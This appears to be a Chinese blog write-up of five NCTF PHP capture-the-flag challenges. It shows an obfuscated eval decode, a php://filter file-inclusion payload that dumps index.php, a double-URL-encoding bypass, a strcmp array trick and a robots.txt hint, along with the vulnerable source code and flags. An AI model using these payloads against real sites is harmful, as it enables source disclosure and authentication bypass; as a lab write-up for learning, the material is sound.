您的位置:首页 > 编程语言 > PHP开发

nctf-php

2016-05-04 17:06 701 查看
一:nctf-php-decode

http://ctf.nuptsast.com/challenges#php%20decode

<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>


解码

http://ddecode.com/phpdecoder/



对照ascii码表

php info();nctf{gzip_base64_hhhhhh}

二:文件包含

http://ctf.nuptsast.com/challenges#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB

点开http://4.chinalover.sinaapp.com/web7/index.php 有个

click me? no

提示不用点击,好吧,还是点击看看,转到

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

解题方法:

GET or POST

file=php://filter/read=convert.base64-encode/resource=index.php&submit=%E6%8F%90%E4%BA%A4

可获得 base64 编码的 index.php



base64解码

<html>
<title>asdf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>


三:听说PHP是世界上最好的语言

http://way.nuptzj.cn/php/index.php

提示:Can you authenticate to this website? index.txt

访问:http://way.nuptzj.cn/php/index.txt

得到

<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>

<br><br>
Can you authenticate to this website?




四:http://115.28.150.176/strcmp/index.
98dd
php

<?php
$pass=@$_POST['pass'];
$pass1=*;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

tip:strcmp(array,string)=null=0




改如下,得到flag



五:http://chinalover.sinaapp.com/web11/

提示Do you know robots.txt?

访问http://chinalover.sinaapp.com/web11/robots.txt



改如下,得到flag

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: